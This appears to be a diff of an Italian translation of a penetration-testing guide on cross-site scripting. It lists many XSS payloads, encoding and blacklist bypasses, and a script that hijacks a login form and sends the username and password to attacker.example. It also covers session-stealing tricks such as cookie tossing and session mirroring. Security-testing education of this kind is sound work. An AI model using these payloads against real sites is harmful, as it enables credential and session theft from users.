-Se ti trovi **all'interno di un tag HTML**, la prima cosa da provare è **uscire** dal tag e usare alcune delle tecniche menzionate nella [sezione precedente](#injecting-inside-raw-html) per eseguire codice JS.\
-Se **non puoi uscire dal tag**, puoi creare nuovi attributi all'interno del tag per provare a eseguire codice JS, per esempio usando un payload come (_nota che in questo esempio le doppie virgolette sono usate per uscire dall'attributo, non ne avrai bisogno se il tuo input è riflesso direttamente nel tag_):
+Se ti trovi **all'interno di un tag HTML**, la prima cosa che puoi provare è **escape** dal tag e usare alcune delle tecniche menzionate nella [previous section](#injecting-inside-raw-html) per eseguire codice JS.\  
+Se **non puoi escape dal tag**, puoi creare nuovi attributi all'interno del tag per cercare di eseguire codice JS, per esempio usando un payload come (_nota che in questo esempio le doppie virgolette sono usate per escape dall'attributo, non ne avrai bisogno se il tuo input è riflesso direttamente all'interno del tag_):
 ```bash
 " autofocus onfocus=alert(document.domain) x="
 " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@@ -273,14 +274,14 @@ Se **non puoi uscire dal tag**, puoi creare nuovi attributi all'interno del tag
 ```
 ### All'interno dell'attributo
 
-Anche se **non puoi uscire dall'attributo** (`"` viene codificato o rimosso), a seconda di **in quale attributo** il tuo valore viene riflesso e **se controlli l'intero valore o solo una sua parte** potrai abusarne. Per **esempio**, se controlli un evento come `onclick=` potrai far eseguire codice arbitrario al click.\
+Anche se **non puoi uscire dall'attributo** (`"` viene codificato o cancellato), a seconda di **in quale attributo** il tuo valore viene riflesso e **se controlli tutto il valore o solo una parte**, potrai abusarne. Per **esempio**, se controlli un evento come `onclick=` potrai far eseguire codice arbitrario quando viene cliccato.\  
 Un altro interessante **esempio** è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
 
 **Bypass all'interno dell'evento usando HTML encoding/URL encode**
 
-I **caratteri HTML codificati** all'interno del valore degli attributi dei tag HTML vengono **decodificati al runtime**. Pertanto qualcosa del genere sarà valido (il payload è in grassetto): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
+I **caratteri HTML codificati** all'interno del valore degli attributi dei tag HTML vengono **decodificati in fase di esecuzione**. Pertanto qualcosa come il seguente sarà valido (il payload è in grassetto): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
 
-Nota che **qualsiasi tipo di codifica HTML è valida**:
+Nota che **qualsiasi tipo di codifica HTML è valido**:
 ```javascript
 //HTML entities
 &apos;-alert(1)-&apos;
@@ -301,7 +302,7 @@ Nota che **qualsiasi tipo di codifica HTML è valida**:
 ```python
 <a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
 ```
-**Bypass all'interno di event usando Unicode encode**
+**Bypass all'interno dell'evento usando Unicode encode**
 ```javascript
 //For some reason you can use unicode to encode "alert" but not "(1)"
 <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@@ -309,7 +310,7 @@ Nota che **qualsiasi tipo di codifica HTML è valida**:
 ```
 ### Protocolli speciali all'interno dell'attributo
 
-Lì puoi usare i protocolli **`javascript:`** o **`data:`** in alcuni contesti per **eseguire codice JS arbitrario**. Alcuni richiederanno l'interazione dell'utente, altri no.
+Lì puoi usare i protocolli **`javascript:`** o **`data:`** in alcuni punti per **eseguire codice JS arbitrario**. Alcuni richiederanno l'interazione dell'utente, altri no.
 ```javascript
 javascript:alert(1)
 JavaSCript:alert(1)
@@ -329,9 +330,9 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
 data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
 data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
 ```
-**Luoghi in cui puoi iniettare questi protocolli**
+**Luoghi dove puoi iniettare questi protocolli**
 
-**In generale** il protocollo `javascript:` può essere **usato in qualsiasi tag che accetta l'attributo `href`** e in **molti** dei tag che accettano l'**attributo `src`** (ma non `<img`)
+**In generale** il protocollo `javascript:` può essere **usato in qualsiasi tag che accetta l'attributo `href`** e nella **maggior parte** dei tag che accettano l'**attributo `src`** (ma non `<img`)
 ```html
 <a href="javascript:alert(1)">
 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@@ -351,13 +352,13 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 <embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
 <iframe srcdoc="<svg onload=alert(4);>">
 ```
-**Altri trucchi di obfuscation**
+**Altri trucchi di offuscamento**
 
-_**In questo caso il trucco di HTML encoding e Unicode encoding dalla sezione precedente è anch'esso valido poiché ti trovi all'interno di un attributo.**_
+_**In questo caso la codifica HTML e il trucco di codifica Unicode della sezione precedente sono anch'essi validi poiché ti trovi all'interno di un attributo.**_
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-Inoltre, c'è un altro **trucco utile** per questi casi: **Anche se il tuo input dentro `javascript:...` viene URL encoded, sarà URL decoded prima di essere eseguito.** Quindi, se hai bisogno di **uscire** dalla **stringa** usando un **apice singolo** e vedi che **viene URL encoded**, ricordati che **non importa,** sarà **interpretato** come un **apice singolo** durante il tempo di **esecuzione**.
+Inoltre, c'è un altro **bel trucco** per questi casi: **Anche se il tuo input dentro `javascript:...` viene URL encoded, verrà URL decoded prima di essere eseguito.** Quindi, se hai bisogno di **uscire** dalla **stringa** usando un **apostrofo** e vedi che **viene URL encoded**, ricorda che **non importa,** verrà **interpretato** come un **apostrofo** al momento dell'**esecuzione**.
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
@@ -367,7 +368,7 @@ Nota che se provi a **usare entrambi** `URLencode + HTMLencode` in qualsiasi ord
 
 **Uso di Hex e Octal encode con `javascript:`**
 
-Puoi usare **Hex** e **Octal encode** all'interno dell'attributo `src` di `iframe` (almeno) per dichiarare **HTML tags to execute JS**:
+Puoi usare **Hex** e **Octal encode** all'interno dell'attributo `src` di `iframe` (almeno) per dichiarare **tag HTML per eseguire JS**:
 ```javascript
 //Encoded: <svg onload=alert(1)>
 // This WORKS
@@ -383,17 +384,17 @@ Puoi usare **Hex** e **Octal encode** all'interno dell'attributo `src` di `ifram
 ```javascript
 <a target="_blank" rel="opener"
 ```
-Se puoi iniettare qualsiasi URL in un qualsiasi tag arbitrario **`<a href=`** che contiene gli attributi **`target="_blank" and rel="opener"`**, consulta la **pagina seguente per sfruttare questo comportamento**:
+Se puoi iniettare qualsiasi URL in un qualsiasi tag **`<a href=`** che contiene gli attributi **`target="_blank" and rel="opener"`**, consulta la **pagina seguente per sfruttare questo comportamento**:
 
 
 {{#ref}}
 ../reverse-tab-nabbing.md
 {{#endref}}
 
-### Bypass degli event handler "on"
+### Bypass dei gestori di eventi "on"
 
-Prima di tutto consulta questa pagina ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) per utili **"on" event handlers**.\
-Nel caso ci sia una blacklist che ti impedisca di creare questi event handlers, puoi provare i seguenti bypass:
+Prima di tutto controlla questa pagina ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) per utili **"on" event handlers**.\
+Nel caso ci sia una blacklist che ti impedisce di creare questi gestori di eventi, puoi provare i seguenti bypass:
 ```javascript
 <svg onload%09=alert(1)> //No safari
 <svg %09onload=alert(1)>
@@ -410,7 +411,7 @@ Android: %09 %20 %28 %2C %3B
 ```
 ### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
 
-Da [**qui**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ora è possibile abusare degli hidden inputs con:**
+Da [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ora è possibile abusare di hidden input con:**
 ```html
 <button popvertarget="x">Click me</button>
 <input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
@@ -429,15 +430,15 @@ onbeforetoggle="alert(2)" />
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
-Da [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): È possibile eseguire un **XSS payload inside a hidden attribute**, a condizione che tu possa **persuadere** la **victim** a premere la **key combination**. Su Firefox (Windows/Linux) la combinazione di tasti è **ALT+SHIFT+X** e su OS X è **CTRL+ALT+X**. Puoi specificare una combinazione diversa usando una chiave diversa nell'access key attribute. Ecco il vettore:
+Da [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Puoi eseguire un **XSS payload all'interno di un attributo hidden**, a condizione che tu riesca a **persuadere** la **victim** a premere la **combinazione di tasti**. Su Firefox Windows/Linux la combinazione di tasti è **ALT+SHIFT+X** e su OS X è **CTRL+ALT+X**. Puoi specificare una combinazione diversa usando un tasto diverso nell'attributo accesskey. Ecco il vettore:
 ```html
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
-**Il payload XSS sarà qualcosa del genere: `" accesskey="x" onclick="alert(1)" x="`**
+**Il payload XSS sarà qualcosa del tipo: `" accesskey="x" onclick="alert(1)" x="`**
 
-### Blacklist Bypasses
+### Bypass della Blacklist
 
-Diverse tecniche usando differenti encoding sono già state esposte in questa sezione. Torna indietro per imparare dove puoi usare:
+Sono già stati mostrati diversi trucchi usando differenti encoding all'interno di questa sezione. Torna **indietro per imparare dove puoi usare:**
 
 - **HTML encoding (HTML tags)**
 - **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
@@ -445,19 +446,19 @@ Diverse tecniche usando differenti encoding sono già state esposte in questa se
 - **Hex and Octal encoding**
 - **data encoding**
 
-**Bypasses for HTML tags and attributes**
+**Bypass per tag e attributi HTML**
 
-Leggi la [ Blacklist Bypasses of the previous section](#blacklist-bypasses).
+Leggi la [Blacklist Bypasses of the previous section](#blacklist-bypasses).
 
-**Bypasses for JavaScript code**
+**Bypass per codice JavaScript**
 
-Leggi la J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
+Leggi la [JavaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
 
 ### CSS-Gadgets
 
 Se trovi una **XSS in una parte molto piccola** del sito che richiede qualche tipo di interazione (magari un piccolo link nel footer con un elemento onmouseover), puoi provare a **modificare lo spazio che l'elemento occupa** per massimizzare le probabilità che il link venga attivato.
 
-Per esempio, potresti aggiungere dello stile nell'elemento come: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
+Per esempio, potresti aggiungere dello styling nell'elemento come: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
 
 Ma, se il WAF sta filtrando l'attributo style, puoi usare CSS Styling Gadgets, quindi se trovi, per esempio
 
@@ -467,19 +468,19 @@ e
 
 > \#someid {top: 0; font-family: Tahoma;}
 
-Ora puoi modificare il nostro link e portarlo nella forma
+Ora puoi modificare il nostro link e portarlo alla forma
 
 > \<a href="" id=someid class=test onclick=alert() a="">
 
-Questo trucco è preso da [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
+Questo trucco è stato preso da [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
 
-## Injecting inside JavaScript code
+## Iniezione all'interno del codice JavaScript
 
-In questi casi il tuo **input** sarà **riflesso all'interno del codice JS** di un file `.js` o tra i tag `<script>...</script>` o in eventi HTML che possono eseguire codice JS o in attributi che accettano il protocollo `javascript:`.
+In questi casi il tuo **input** verrà **riflesso all'interno del codice JS** di un file `.js` o tra tag `<script>...</script>` o in eventi HTML che possono eseguire codice JS o in attributi che accettano il protocollo `javascript:`.
 
-### Escaping \<script> tag
+### Evasione del tag \<script>
 
-Se il tuo codice è inserito all'interno di `<script> [...] var input = 'reflected data' [...] </script>` puoi facilmente **escape della chiusura del tag `<script>`**:
+Se il tuo codice è inserito dentro `<script> [...] var input = 'reflected data' [...] </script>` puoi facilmente chiudere il tag `<script>`:
 ```javascript
 </script><img src=1 onerror=alert(document.domain)>
 ```
@@ -487,7 +488,7 @@ Nota che in questo esempio **non abbiamo nemmeno chiuso l'apice singolo**. Quest
 
 ### All'interno del codice JS
 
-Se `<>` vengono sanitizzati puoi comunque **escape the string** dove il tuo input è **posizionato** e **execute arbitrary JS**. È importante **fix JS syntax**, perché se ci sono errori, il codice JS non verrà eseguito:
+If `<>` are being sanitised you can still **escape the string** where your input is being **located** and **execute arbitrary JS**. È importante **fix JS syntax**, perché se ci sono errori, il codice JS non verrà eseguito:
 ```
 '-alert(document.domain)-'
 ';alert(document.domain)//
@@ -495,23 +496,21 @@ Se `<>` vengono sanitizzati puoi comunque **escape the string** dove il tuo inpu
 ```
 #### JS-in-JS string break → inject → repair pattern
 
-Quando l'input dell'utente si trova all'interno di una stringa JavaScript quotata (es., server-side echo dentro uno script inline), puoi terminare la stringa, iniettare codice e riparare la sintassi per mantenere il parsing valido. Scheletro generico:
+Quando l'input dell'utente finisce all'interno di una quoted JavaScript string (es., server-side echo into an inline script), puoi terminare la stringa, inject code e riparare la sintassi per mantenere il parsing valido. Scheletro generico:
 ```
 "            // end original string
 ;            // safely terminate the statement
 <INJECTION>  // attacker-controlled JS
 ; a = "      // repair and resume expected string/statement
 ```
-Esempio di pattern URL quando il parametro vulnerabile viene riflesso in una stringa JS:
+Esempio di pattern dell'URL quando il parametro vulnerabile viene riflesso in una stringa JS:
 ```
 ?param=test";<INJECTION>;a="
 ```
-Questo esegue JS controllato dall'attaccante senza la necessità di toccare il contesto HTML (puro JS-in-JS). Combinalo con i blacklist bypasses qui sotto quando i filtri bloccano parole chiave.
-
 ### Template literals ``
 
-Per creare **stringhe**, oltre alle virgolette singole e doppie, JS accetta anche i **backticks** **` `` `** . Questo è noto come template literals poiché permettono di **inserire espressioni JS** usando la sintassi `${ ... }`.\ 
-Quindi, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che usa i backticks, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:
+Per costruire **stringhe**, oltre alle virgolette singole e doppie, JS accetta anche i **backticks** **` `` `**. Questo è noto come template literals poiché permette di **inserire espressioni JS** usando la sintassi `${ ... }`.\  
+Di conseguenza, se scopri che il tuo input viene **reflected** all'interno di una stringa JS che usa backticks, puoi abusare della sintassi `${ ... }` per eseguire **arbitrary JS code**:
 
 Questo può essere **abusato** usando:
 ```javascript
@@ -532,28 +531,30 @@ loop``
 <svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
 <iframe srcdoc="<SCRIPT>alert(1)</iframe>">
 ```
-#### Payload eseguibili con eval(atob()) e sfumature di scope
+#### Deliverable payloads con eval(atob()) e sfumature di scope
 
-Per mantenere gli URL più corti e bypassare filtri di keyword ingenui, puoi base64-encode la logica reale e valutarla con `eval(atob('...'))`. Se un semplice filtraggio per keyword blocca identificatori come `alert`, `eval`, o `atob`, usa identificatori Unicode-escaped che compilano identicamente nel browser ma sfuggono ai filtri basati su confronto di stringhe:
+Per mantenere gli URL più corti e bypassare filtri di parole chiave banali, puoi codificare in base64 la tua logica reale e valutarla con `eval(atob('...'))`. Se un filtro di parole chiave semplice blocca identificatori come `alert`, `eval` o `atob`, usa identificatori Unicode-escaped che compilano in modo identico nel browser ma eludono filtri che fanno matching sulle stringhe:
 ```
 \u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
 \u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))
 ```
-Sfumatura importante sullo scoping: `const`/`let` dichiarati all'interno di `eval()` sono limitati al blocco (block-scoped) e NON creano variabili globali; non saranno accessibili agli script successivi. Usa un elemento `<script>` iniettato dinamicamente per definire hook globali non riassegnabili quando necessario (es., per hijackare un form handler):
+Nota importante sullo scoping: `const`/`let` dichiarati all'interno di `eval()` hanno ambito a blocco e NON creano globals; non saranno accessibili agli script successivi. Usa un elemento `<script>` iniettato dinamicamente per definire hook globali non-rebindable quando necessario (es., per hijack a form handler):
 ```javascript
 var s = document.createElement('script');
 s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
 document.head.appendChild(s);
 ```
-### Esecuzione JS con codifica Unicode
+Riferimento: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
+
+### Esecuzione di JS codificato in Unicode
 ```javascript
 alert(1)
 alert(1)
 alert(1)
 ```
-### Tecniche per bypassare le blacklist in JavaScript
+### Tecniche di bypass delle blacklist in JavaScript
 
-**Strings**
+**Stringhe**
 ```javascript
 "thisisastring"
 'thisisastrig'
@@ -570,7 +571,7 @@ String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
 atob("dGhpc2lzYXN0cmluZw==")
 eval(8680439..toString(30))(983801..toString(36))
 ```
-**Sequenze di escape speciali**
+**Escape speciali**
 ```javascript
 "\b" //backspace
 "\f" //form feed
@@ -584,12 +585,12 @@ eval(8680439..toString(30))(983801..toString(36))
 "\t" //tab
 // Any other char escaped is just itself
 ```
-**Sostituzioni di spazi all'interno del codice JS**
+**Sostituzioni degli spazi all'interno del codice JS**
 ```javascript
 <TAB>
 /**/
 ```
-**Commenti JavaScript (dal** [**JavaScript Comments**](#javascript-comments) **trucco)**
+**JavaScript comments (da** [**JavaScript Comments**](#javascript-comments) **trick)**
 ```javascript
 //This is a 1 line comment
 /* This is a multiline comment*/
@@ -597,7 +598,7 @@ eval(8680439..toString(30))(983801..toString(36))
 #!This is a 1 line comment, but "#!" must to be at the beggining of the first line
 -->This is a 1 line comment, but "-->" must to be at the beggining of the first line
 ```
-**JavaScript nuove righe (da** [**JavaScript new line**](#javascript-new-lines) **trucco)**
+**JavaScript new lines (da** [**JavaScript new line**](#javascript-new-lines) **trucco)**
 ```javascript
 //Javascript interpret as new line these chars:
 String.fromCharCode(10)
@@ -712,7 +713,7 @@ try{throw onerror=alert}catch{throw 1}
 - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
 - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
 
-**Chiamata arbitraria di funzione (alert)**
+**Chiamata arbitraria a una funzione (alert)**
 ```javascript
 //Eval like functions
 eval('ale'+'rt(1)')
@@ -774,7 +775,7 @@ top[8680439..toString(30)](1)
 ```
 ## **DOM vulnerabilities**
 
-Esiste del **JS code** che usa **dati controllati in modo non sicuro da un attacker** come `location.href`. Un attacker potrebbe abusarne per eseguire codice JS arbitrario.\
+C'è del **JS code** che sta usando **dati non sicuri controllati da un attacker** come `location.href`. Un attacker potrebbe abusarne per eseguire codice JS arbitrario.\
 **A causa dell'estensione della spiegazione di** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
 
 
@@ -782,14 +783,14 @@ Esiste del **JS code** che usa **dati controllati in modo non sicuro da un attac
 dom-xss.md
 {{#endref}}
 
-Lì troverai una **spiegazione dettagliata di cosa sono le DOM vulnerabilities, come vengono provocate e come sfruttarle**.\
-Inoltre, non dimenticare che **alla fine del post menzionato** puoi trovare una spiegazione su [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
+Lì troverai una dettagliata **spiegazione di cosa sono le DOM vulnerabilities, come vengono provocate e come sfruttarle**.\
+Inoltre, non dimenticare che **alla fine del post citato** puoi trovare una spiegazione su [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
 
-### Escalation di Self-XSS
+### Upgrading Self-XSS
 
 ### Cookie XSS
 
-Se riesci a scatenare una XSS inviando il payload dentro un cookie, questo è solitamente un self-XSS. Tuttavia, se trovi un **subdomain vulnerabile a XSS**, potresti abusare di questa XSS per iniettare un cookie in tutto il dominio riuscendo a triggerare la cookie XSS nel dominio principale o in altri subdomain (quelli vulnerabili a cookie XSS). Per questo puoi usare il cookie tossing attack:
+Se puoi scatenare una XSS inviando il payload all'interno di un cookie, di solito si tratta di una self-XSS. Tuttavia, se trovi un **vulnerable subdomain to XSS**, puoi abusare di questa XSS per iniettare un cookie in tutto il dominio riuscendo a triggerare la cookie XSS nel dominio principale o in altri subdomini (quelli vulnerabili alla cookie XSS). Per questo puoi usare il cookie tossing attack:
 
 
 {{#ref}}
@@ -800,19 +801,19 @@ Puoi trovare un ottimo abuso di questa tecnica in [**this blog post**](https://n
 
 ### Sending your session to the admin
 
-Forse un user può condividere il suo profile con l'admin e se il self XSS è dentro il profile dell'user e l'admin ci accede, scatterà la vulnerabilità.
+Forse un utente può condividere il suo profilo con l'admin e se la self XSS è all'interno del profilo dell'utente e l'admin vi accede, farà scattare la vulnerabilità.
 
 ### Session Mirroring
 
-Se trovi del self XSS e la web page ha una **session mirroring for administrators**, per esempio permettendo ai clienti di chiedere aiuto e affinché l'admin ti aiuti lui vedrà quello che stai vedendo nella tua session ma dalla sua session.
+Se trovi una self XSS e la pagina web ha una **session mirroring for administrators**, per esempio permettendo ai clienti di chiedere aiuto e, affinché l'admin possa aiutarti, lui vedrà ciò che vedi nella tua sessione ma dalla sua sessione.
 
-Potresti far sì che l'**administrator trigger your self XSS** e rubare i suoi cookies/session.
+Potresti far sì che l'amministratore inneschi la tua self XSS e rubare i suoi cookie/session.
 
-## Other Bypasses
+## Altri Bypasses
 
 ### Normalised Unicode
 
-Puoi controllare se i **reflected values** vengono **unicode normalized** sul server (o lato client) e abusare di questa funzionalità per bypassare le protezioni. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
+Puoi verificare se i **reflected values** vengono **unicode normalized** sul server (o lato client) e abusare di questa funzionalità per bypassare le protezioni. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
 
 ### PHP FILTER_VALIDATE_EMAIL flag Bypass
 ```javascript
@@ -820,8 +821,8 @@ Puoi controllare se i **reflected values** vengono **unicode normalized** sul se
 ```
 ### Ruby-On-Rails bypass
 
-A causa di **RoR mass assignment** le virgolette vengono inserite nell'HTML e quindi la restrizione sulle virgolette viene bypassata e campi aggiuntivi (onfocus) possono essere aggiunti all'interno del tag.\
-Esempio di form ([da questo report](https://hackerone.com/reports/709336)), se invii il payload:
+A causa di **RoR mass assignment** le virgolette vengono inserite nell'HTML e quindi la restrizione delle virgolette viene bypassata e campi aggiuntivi (onfocus) possono essere aggiunti all'interno del tag.\
+Esempio di form ([from this report](https://hackerone.com/reports/709336)), se invii il payload:
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 ```
@@ -829,7 +830,7 @@ La coppia "Key","Value" verrà restituita così:
 ```
 {" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
 ```
-Quindi, verrà inserito l'attributo onfocus e si verificherà XSS.
+Quindi, l'attributo onfocus verrà inserito e si verificherà XSS.
 
 ### Combinazioni speciali
 ```html
@@ -861,24 +862,24 @@ Quindi, verrà inserito l'attributo onfocus e si verificherà XSS.
 window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
 document['default'+'View'][`\u0061lert`](3)
 ```
-### XSS with header injection in a 302 response
+### XSS con header injection in una risposta 302
 
-Se scopri che puoi **inject headers in a 302 Redirect response** potresti provare a **make the browser execute arbitrary JavaScript**. Questo non è **banale** perché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi un semplice cross-site scripting payload è inutile.
+Se scopri di poter **inject headers in a 302 Redirect response** puoi provare a **far eseguire al browser JavaScript arbitrario**. Questo non è **banale** poiché i browser moderni non interpretano il body della risposta HTTP se lo status code della risposta HTTP è 302, quindi un semplice payload di cross-site scripting è inutile.
 
-In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puoi leggere come puoi testare diversi protocolli dentro l'header Location e vedere se qualcuno di essi permette al browser di ispezionare ed eseguire il XSS payload all'interno del body.\
+In [**this report**](https://www.gremwell.com/firefox-xss-302) e [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puoi leggere come testare diversi protocolli all'interno dell'header Location e verificare se qualcuno di essi permette al browser di ispezionare ed eseguire il payload XSS presente nel body.\
 Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
 
-### Solo lettere, numeri e punti
+### Only Letters, Numbers and Dots
 
-Se sei in grado di indicare la **callback** che javascript sta per **eseguire** limitata a quei caratteri. [**Read this section of this post**](#javascript-function) per scoprire come abusare di questo comportamento.
+Se riesci a indicare il **callback** che javascript eseguirà limitato a quelle lettere/caratteri. [**Read this section of this post**](#javascript-function) per scoprire come abusare di questo comportamento.
 
-### Content-Types validi di `<script>` per XSS
+### Valid `<script>` Content-Types to XSS
 
 (From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Se provi a caricare uno script con un **content-type** come `application/octet-stream`, Chrome restituirà il seguente errore:
 
 > Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
 
-Gli unici **Content-Type** che permetteranno a Chrome di eseguire uno **script caricato** sono quelli all'interno della const **`kSupportedJavascriptTypes`** da [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
+I soli **Content-Type** che permetteranno a Chrome di eseguire uno **script caricato** sono quelli presenti nella const **`kSupportedJavascriptTypes`** da [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
 ```c
 const char* const kSupportedJavascriptTypes[] = {
 "application/ecmascript",
@@ -900,16 +901,14 @@ const char* const kSupportedJavascriptTypes[] = {
 };
 
 ```
-### Tipi di Script per XSS
+### Tipi di script per XSS
 
-(Da [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Quindi, quali tipi possono essere indicati per caricare uno script?
+(Da [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Quindi, quali tipi potrebbero essere indicati per caricare uno script?
 ```html
 <script type="???"></script>
 ```
-La risposta è:
-
-- **module** (predefinito, niente da spiegare)
-- [**webbundle**](https://web.dev/web-bundles/): Web Bundles è una funzionalità che consente di raggruppare vari dati (HTML, CSS, JS…) in un file **`.wbn`**.
+- **module** (default, niente da spiegare)
+- [**webbundle**](https://web.dev/web-bundles/): Web Bundles è una funzionalità che permette di raggruppare vari dati (HTML, CSS, JS…) in un unico file **`.wbn`**.
 ```html
 <script type="webbundle">
 {
@@ -936,9 +935,9 @@ import moment from "moment"
 import { partition } from "lodash"
 </script>
 ```
-Questo comportamento è stato utilizzato in [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) per rimappare una libreria su eval e abusarne in modo da poter innescare XSS.
+Questo comportamento è stato usato in [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) per rimappare una libreria su eval; abusarne può causare XSS.
 
-- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Questa funzionalità serve principalmente a risolvere alcuni problemi causati dal pre-rendering. Funziona così:
+- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Questa funzionalità è principalmente per risolvere alcuni problemi causati dal pre-rendering. Funziona così:
 ```html
 <script type="speculationrules">
 {
@@ -954,9 +953,9 @@ Questo comportamento è stato utilizzato in [**this writeup**](https://github.co
 }
 </script>
 ```
-### Web Content-Types per XSS
+### Content-Types Web per XSS
 
-(Da [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) I seguenti content types possono eseguire XSS in tutti i browser:
+(Da [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) I seguenti Content-Types possono eseguire XSS in tutti i browser:
 
 - text/html
 - application/xhtml+xml
@@ -967,7 +966,7 @@ Questo comportamento è stato utilizzato in [**this writeup**](https://github.co
 - application/rss+xml (off)
 - application/atom+xml (off)
 
